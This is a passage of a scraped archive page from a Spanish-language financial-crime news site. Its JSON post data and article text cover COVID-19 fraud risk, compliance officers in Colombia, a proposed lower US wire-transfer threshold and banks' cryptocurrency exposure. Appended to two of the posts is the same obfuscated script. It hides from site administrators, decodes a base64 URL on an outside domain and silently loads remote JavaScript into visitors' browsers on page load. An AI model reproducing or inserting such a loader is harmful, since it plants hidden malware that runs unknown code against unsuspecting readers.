11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que 